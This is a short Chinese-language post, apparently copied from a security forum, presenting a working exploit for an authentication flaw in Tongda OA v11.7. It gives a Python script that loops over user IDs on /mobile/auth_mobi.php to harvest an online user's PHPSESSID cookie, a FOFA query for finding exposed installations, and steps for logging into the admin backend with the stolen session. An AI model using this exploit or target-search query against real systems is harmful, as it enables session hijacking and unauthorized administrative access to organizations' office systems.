通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统
此poc来源于网络(通过遍历uid的值,判断用户是否上线过,实现任意用户登录
import requests
from bs4 import BeautifulSoup
import sys
import re
url = sys.argv[1]
for i in range(1,10000):
try :
vuln_url = url + "/mobile/auth_mobi.php?isAvatar=1&uid="+str(i)+"&P_VER=0"
resp = requests.get(vuln_url)
soup = BeautifulSoup(resp.text,'html.parser')
if 'RELOGIN' in soup.get_text():
print("不存在")
else:
PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(resp.headers))
print('uid='+str(i)+"在线"+"对应的COOKIE值是:PHPSESSID="+str(PHPSESSION[0]))
break
except:
breakfofa语法:app="TDXK-通达OA"
①.判断是否为在线用户(批量
http://xxx.xx.xx.xx/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
如果页面是空白的即为管理员在线可利用;反之RELOGIN即为下线状态无法利用
②.获取其cookie
③.此时访问 http://xxx.xx.xx.xx/general/ 即可登录后台

